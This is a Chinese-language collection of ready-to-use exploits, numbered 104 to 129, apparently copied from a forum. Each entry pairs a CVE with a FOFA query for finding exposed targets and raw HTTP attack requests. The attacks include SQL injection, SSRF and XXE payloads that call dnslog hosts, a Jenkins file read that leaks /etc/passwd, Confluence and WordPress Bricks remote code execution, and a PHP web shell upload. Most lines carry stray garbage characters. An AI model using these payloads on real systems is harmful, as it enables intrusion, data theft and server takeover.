# J, M, _/ N7 y+ Z+ E2 kSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

! K% ], Q  q5 R- G. b* {
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
* s! R" r; c, s" R<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
. x( e3 g! |& e% @2 k' x: v

" }* u% i! n$ u, P" ]' L104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
$ u3 h  W' B6 L. c/ k5 xCVE-2024-0569
6 i" H3 g! _/ Z# MFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
+ F9 ~/ t7 M( j1 bHost:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
- I1 d$ ]  G5 J5 Y+ _8 r# dUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
/ O3 m/ S3 q; w$ @9 k' t' \! jContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
9 i9 e3 ~1 g4 B3 iReferer: http://192.168.0.1/advance/index.html?time=1671152380564
$ p: e' R1 p. Q. F3 }$ nAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
( {9 V, \3 u- ]0 H! xConnection:close

- w# s2 z: \# ^: |; Q{
  K  Q9 }4 ?' {* N"topicurl":"getSysStatusCfg",
"token":""
; L4 Z& S- l. T. d, ?- s; n% T2 k  \}

105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
# G1 |- `4 y5 T% e- P8 C
106. SpringBlade dict-biz/list SQL 注入
) u2 S8 @  g2 Q0 D0 _7 l& _FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
5 n& r4 @7 v1 O( H0 i! s* THost: your-ip
, t% \, r& O( Z+ M5 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 W: W3 ]1 J* }  ^% g- N& yBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
: T* L2 `9 M+ y6 N; ^4 H2 T+ r6 QAccept-Encoding: gzip, deflate
) B1 a, Z+ c/ i0 p4 xAccept-Language: zh-CN,zh;q=0.9
' D& D  z2 c/ R8 h7 i6 V0 BConnection: close


- l* m. m8 u, r$ t- T107. SpringBlade tenant/list SQL 注入
; t& q- @! h1 b* G/ C* uFOFA：body="https://bladex.vip"
0 d5 f3 ^/ E( y- `( p+ X3 YGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
( c5 Z. P( k' B9 ?- s) X. tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! w+ l2 g* N4 z% Y$ [Blade-Auth:替换为自己的
Connection: close

7 R: r& o0 `' F3 \0 K
. }" J( H0 K# u7 o3 ^108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
. I* J0 _) \+ h& l' ]1 ~Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

% J, ^( c" |( k# X- c
109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
4 F$ z7 n  u% g/ c" e5 R! y0 AContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
3 m5 n, C3 ]  \( sConnection: keep-alive
* P6 I6 ]; u6 J# k+ `Content-Length: 163
/ y8 B7 S& L' k( _
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

# ^% Y3 N0 S- V  Q+ U  C5 r
; _' Q& Y9 _/ g" w& j8 y0 [POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
" g9 R( t7 i, Z, z* _, {8 EContent-Type: application/x-www-form-urlencoded
. v. C) _" m0 x$ C9 q: yContent-Length: 0


& Z( U1 A3 U8 `  i+ I. }ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
- P" W! _3 S8 N+ F[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
8 s# ~( T: w8 i" t$ F5 Y

" {" N1 ?' f, A% T4 O- M4 T1 g3 X% l110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
, N; @3 ~# Z* |5 AGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
2 p8 K& d5 j: d' C& ~" fUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
1 q: ~" O: W$ ^# BConnection: close
Accept: */*
: P6 v4 G' z( t+ q- qAccept-Language: en
* `& _$ M6 K; T# w: Z' [Accept-Encoding: gzip
/ o2 H  m% x$ R

  F$ g. A8 C. g) X# f% [111. WordPress Plugin HTML5 Video Player SQL注入
- q& r4 Q3 _4 aCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
8 @# W) K0 I% e7 k' uUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
$ c  }9 R; ~1 MConnection: close
' c- [  a* M! [$ ?5 E! aAccept: */*
Accept-Language: en
. `* P) W, F: a; Y! z8 JAccept-Encoding: gzip


  U! ~$ `7 {9 o) t0 }' B4 M$ L, {112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
# D3 j) ^4 O% z  k/ JFOFA：body="/wp-content/plugins/notificationx"
6 A: _# y0 U# {* R* O1 C2 nPOST /wp-json/notificationx/v1/analytics HTTP/1.1
! D6 I9 J( G9 K" AHost: {{Hostname}}
/ D% G, i3 V1 a* J9 S: ^. R6 Y! SContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
5 z2 r% \6 Z1 S7 h; n6 |

113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
7 M8 y/ [3 q% P7 r8 |8 B, H( u6 lHost: x.x.x.x
7 S6 ]) D. y$ DUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
% @# y+ j! i5 m2 S# K# G( lConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
0 a! t% _7 g' R: B1 KFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
! G3 ^/ Q( Z% A, M- @GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
: k) @/ E, k/ Y- u0 aHost: your-ip
. M' n# Z% \) u! B& i. |0 @User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ K. }0 ^" u4 TAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
; ~8 i! c+ d* Q+ o% u2 x# ?  A+ \' PConnection: close

9 H/ M, ]  n' _# S" v0 n
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
8 m1 i/ z4 D5 K$ X8 LGET / HTTP/1.1
) D. P+ h  E* _0 N8 K  FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
0 C  C: M5 ^  f( `Accept-Encoding: gzip

8 B1 a( L# t: t) W: l6 `: |
第二步替换nonce值，执行命令
# ?3 e4 ]5 O; r% D( ?( pPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
9 W1 x+ f5 W3 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
5 y. J# Z1 [, H/ uContent-Length: 356
3 ]4 c. m  F5 j( R5 yContent-Type: application/json
Accept-Encoding: gzip

" @1 N7 h) J, i, _{
# t0 z( @" b  l9 L( j* m# e"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
* A6 j' q& M% a7 ~5 K& R6 _    "settings": {
2 _8 j) I+ f) u- b  P      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
" y4 H6 C+ C. b4 G' q        "objectType": "post"
1 m# s' x9 }8 C; C7 x# ]      }
    }
  }
}


$ n0 h% e5 S1 j( H' s% S116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
' D/ B, C1 v) w& T) L
----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
( d8 I+ C- N( V( d* }3 m# Z! W! B& g7 ~----------767099171
. s$ e1 g( V+ n% g8 N# MContent-Disposition: form-data; name="form_request"
jssupportticket
+ R4 V7 y( Y  ?5 X----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
' V7 x9 j3 x1 c% O& F- c$ S& PContent-Type: image/png
, n2 E3 F* d, I----------767099171--
, V5 S& U7 r4 m1 q
0 o( ^/ j0 {. j1 J% O+ m
7 C" e. H5 X4 f117. WordPress LayerSlider插件SQL注入
! O7 r: c/ b& }- [7 G$ S9 H& kversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% m0 o" p% {, J2 L( I; A# Z2 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; \  l6 b7 r" sAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

( l5 Y& i; e: S, \
& J9 X& ^$ ^5 ^! B- T  A7 _118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
2 E8 @+ l7 ~( q2 K- e5 E; M9 Z8 DFOFA：title="Smart管理平台"
9 ?- Z! N+ V3 D/ M' u) A$ `POST /Tool/uploadfile.php? HTTP/1.1
% E8 Z( |; S- G& U; o8 S) ^Host: 192.168.40.130:8443
5 l# {) w4 w) iCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
9 e( C/ W2 N) l: WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! T" \( x8 r/ tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 [% Z( v9 P. e0 PAccept-Encoding: gzip, deflate
! q( Q8 {5 Q0 g! k/ m- d' HContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
1 J4 y& n  l, |& t  Q0 t$ _8 {Content-Length: 405
Origin: https://192.168.40.130:8443
! ^: H6 f- W3 \1 o. G, MReferer: https://192.168.40.130:8443/Tool/uploadfile.php
  e; I# V" u, \9 gUpgrade-Insecure-Requests: 1
1 _+ W' u6 W! x, d3 Y; v9 P2 qSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
9 f$ m! ~6 h0 k0 R7 U- ISec-Fetch-Site: same-origin
- n5 |' s. H- H3 hSec-Fetch-User: ?1
! D9 m6 [. W) u  E* P; X+ c4 zTe: trailers
1 J2 W/ c1 Q: u2 H* H9 JConnection: close

5 |/ ?% r0 B9 u( ^0 I$ v-----------------------------13979701222747646634037182887
: R! ~6 e7 V6 Z0 y, |; nContent-Disposition: form-data; name="file_upload"; filename="contents.php"
% ]) s* ?' ]" L; pContent-Type: application/octet-stream
% w$ L0 R1 i) `% Y+ p
4 R( o) w" a4 A6 `<?php
system($_POST["passwd"]);
?>
: k4 D" @: t: N- a-----------------------------13979701222747646634037182887
( ]4 d, o. f9 R  |$ `7 mContent-Disposition: form-data; name="txt_path"
5 a- D& f7 y/ q4 k' `
/home/src.php
-----------------------------13979701222747646634037182887--


访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
4 M% t/ D8 U" k' f" b3 y8 Y. eCVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
# Q/ N# [7 d: Y* y; O% q0 ?+ CPOST /sysmanage/sysmanageajax.php HTTP/1.11
- x* \0 q  L- A6 lHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
; V1 H  c) F/ l% CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
4 S2 q: @! x- p0 K' L6 ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 G6 Z" B3 c1 l- UContent-Type: application/x-www-form-urlencoded;
7 X/ ~- E% n7 sContent-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
! k0 E5 `* |7 o: |Sec-Fetch-Dest: empty
! o7 ?$ D0 U% Y* k5 fSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
) q/ B2 c9 I: a9 s. I3 L, RTe: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

2 ?  D. Z3 G  Z8 K' N, n0 v. l9 z$ G
" u1 M  i2 M; k$ n/ A1 s9 I120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
& D  k  l$ [; k2 F: y5 `: TFOFA：title="Smart管理平台"
, P' _" ^# ~7 l( t# _7 }# Y! i  e9 XPOST /useratte/web.php? HTTP/1.1
; A5 T; k8 J$ D! ?, G) xHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
; P7 H; s8 _- ]# l3 A3 sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
% c8 E8 ^1 n2 d, g* c+ Y- [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( W7 D6 e7 i. f  n& w" z# iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
: f) O+ g  P* h8 D& AContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
$ n, h6 W6 N$ ~+ z& oUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
- `6 w! S; i8 K0 x& E# U: |  p2 J7 RSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
" A! G. j6 k* K
-----------------------------42328904123665875270630079328
  z& l' @4 L# n# {/ P& v$ _% eContent-Disposition: form-data; name="file_upload"; filename="2.php"
0 p* m2 a, ]3 p6 ^* \0 yContent-Type: application/octet-stream

7 U" @$ z; t: \- p5 n! m- m<?php phpinfo()?>
-----------------------------42328904123665875270630079328
' t4 I: l: f* Z  G& t& v: xContent-Disposition: form-data; name="id_type"

  N" M* k: y) Q( z' t8 I9 H1
0 G: F1 K) g; p2 F! A1 P, |# \-----------------------------42328904123665875270630079328
' _! V% z# z9 X' |Content-Disposition: form-data; name="1_ck"
' j, e5 x  _5 v7 k
1_radhttp
-----------------------------42328904123665875270630079328
# W- {* P! ?6 ~Content-Disposition: form-data; name="mode"
0 P3 w9 \: k" p* `! L# |4 t! T
import
-----------------------------42328904123665875270630079328

- _% D9 J3 E) t" [- c7 q; A
3 N5 C  T0 s% e1 d& |- u/ j文件路径/upload/2.php
/ h( M$ [9 o  s* k. n# b1 F4 l; ]1 ^, U% l
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
1 k. _6 _# \- M% fPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
( D/ ~1 @$ l, u! Y0 `: N4 o4 @) nCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 Q1 H( e& o8 ?$ K( ]0 U% U3 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 x* M* u9 ^  r/ SContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
5 g! K( H3 g- oOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
% {: w9 L+ F7 ^- t( h) zSec-Fetch-Dest: document
( O. _) N: `  Q0 HSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
9 X- h1 k% h* r2 y& k
/ Y$ L8 e' B8 A( r: |-----------------------------42328904123665875270630079328
2 C4 L& w2 I1 ZContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
6 ^1 ]) t) d8 J8 D/ q
/ |- K4 ~7 X4 u6 W& u+ B' ?+ F<?php phpinfo();?>
-----------------------------42328904123665875270630079328
+ o! R& G0 y& X( |. P" AContent-Disposition: form-data; name="id_type"
$ o( O7 d1 \" |1 j8 @0 u3 S# i
1
% G( ^. |: o$ q& H+ ?-----------------------------42328904123665875270630079328
" _1 O9 {! Y3 n7 TContent-Disposition: form-data; name="1_ck"

1_radhttp
$ o$ m; E7 d& b2 V$ h( C& [5 |-----------------------------42328904123665875270630079328
* i2 c/ }; d( I2 u5 i6 JContent-Disposition: form-data; name="hidwel"

6 r7 \2 k0 m5 A8 B. ?' k4 hset
6 O8 W0 Y4 j( \( a; {; _! r-----------------------------42328904123665875270630079328


! t5 R: ?& O/ u2 s" ^% Q$ Pboot/web/upload/weblogo/1.php

; W0 n9 U3 r" G+ ^122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
" d) S1 G7 \/ V( o其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 m+ ~) j% @: |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. y' i" b1 B. x$ u! ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
# M" Y; s! _: ~; a+ YSec-Fetch-Mode: navigate
7 O: P" x% n/ m3 y/ RSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
7 [6 ?, I7 z$ x$ P0 s

5 P/ a" |6 s2 O, X* P8 n123. Atlassian Confluence 模板注入代码执行
6 W  j, |. j7 G  T) `+ ~FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
" T5 P) j' t8 C% A7 EPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
/ _! ]- Q2 _2 I& f! [. S1 a+ V1 cAccept: */*
0 P: @# z  h% E" y( P' |Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
6 d2 s/ C. R! y5 e# QConnection: close
Content-Type: application/x-www-form-urlencoded

7 t% I2 l  z. B$ x/ Wlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


' I* ~$ `% `6 t: f8 C% _124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
: A) y/ @) K% ]9 ZHost: 192.168.40.130:8282
& y  l  Z, i  L- a( g% Z  q  @User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
7 b0 v7 G. Z' r5 N% L$ }5 d. rContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
/ g. M8 i9 K0 a; Y4 T2 T" |2 OAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
. T# N6 @( }  o  i; ^Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
3 u" n2 L- L6 M$ ^. G& x8 e

http://192.168.40.130:8282/Scripts/abcgcg.aspx
0 I/ S6 I+ {/ T' ~, q( q# R- X- F2 x3 @, O
125. ConnectWise ScreenConnect身份验证绕过
# n3 b0 n0 X' K" G, _" f3 NCVE-2024-1709
FOFA：icon_hash="-82958153"
% ~& M  [) Y0 f& b' y$ ]https://github.com/watchtowrlabs ... bypass-add-user-poc
1 [$ a) w3 X6 s% V
& e, U; H- |1 k- t; T/ K; c
- p7 J- _: O& f  M/ r使用方法
9 k+ b1 u7 y+ y, q, U$ }8 x  Ipython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

2 l# P8 U( b( u7 L! L% R
; s$ b7 J3 u( u9 k1 \5 n& u创建好用户后直接登录后台，可以执行系统命令。
; c" L$ ]* p; e- s+ D, S) m2 B
" \6 p3 r" ?" w7 a126. Aiohttp 路径遍历
1 O8 O( ~& K; W* _$ ^. q2 D/ \" xFOFA：title=="ComfyUI"
; N2 B2 D) _8 N- w0 AGET /static/../../../../../etc/passwd HTTP/1.1
+ B* d- y6 u5 G( ^Host: x.x.x.x
3 A4 A6 g& D! f& K' p  J; vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

6 A; h* c) a( K$ `2 A; c# m
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
7 z6 G+ F; z) I6 kPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
$ p4 L! D" p7 _1 u, s: hHost: 192.168.40.130:8888
% O5 y+ T2 s( j6 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
# }: g4 u) J7 t  G7 L3 K$ FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
: |( {, W' s6 b0 U# z+ aSec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
% |* G0 W. ?' u) b& C" q( i( l7 \7 ZContent-Disposition: form-data;name="SystemName"
& y  w  F; i; U* x5 t& l
: d# G9 F* B& WBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
# q/ ?0 Q' P% v5 o+ OContent-Disposition: form-data;name="Params"
Content-Type: text/plain
, E: u2 O1 }, v6 l3 v
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
2 k3 S5 I% g/ \6 l8 m]
( W4 l* I* d0 a8 E: z$ M" r>
<test>&t;</test>
5 w% J4 C; N7 c1 s( i. r; a------WebKitFormBoundaryJGgV5l5ta05yAIe0--


1 q& ~3 E: u) t. W5 i, a$ v. H
128. Adobe ColdFusion 反序列化
: C' A% Z- K" f! u- P! C! I3 kCVE-2023-38203
) X7 m6 S# a$ R) e8 aAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
5 ^" I6 N) |6 \$ M+ Z$ h1 ~! T5 h# HFOFA：app="Adobe-ColdFusion"
PAYLOAD
. M! y8 i  o0 [8 i! |( E- D
129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
/ v7 P# [' C. I, ?  bFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
: Z1 e6 V3 y2 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
8 L9 P) G4 F" o6 K, V3 CAccept-Encoding: gzip, deflate
) }# J( {& }( M1 f4 d; K) BConnection: close
9 W: a5 X& n! H8 e: P
9 I& S& E( i  v- E$ @
第二步，读取/etc/passwd文件
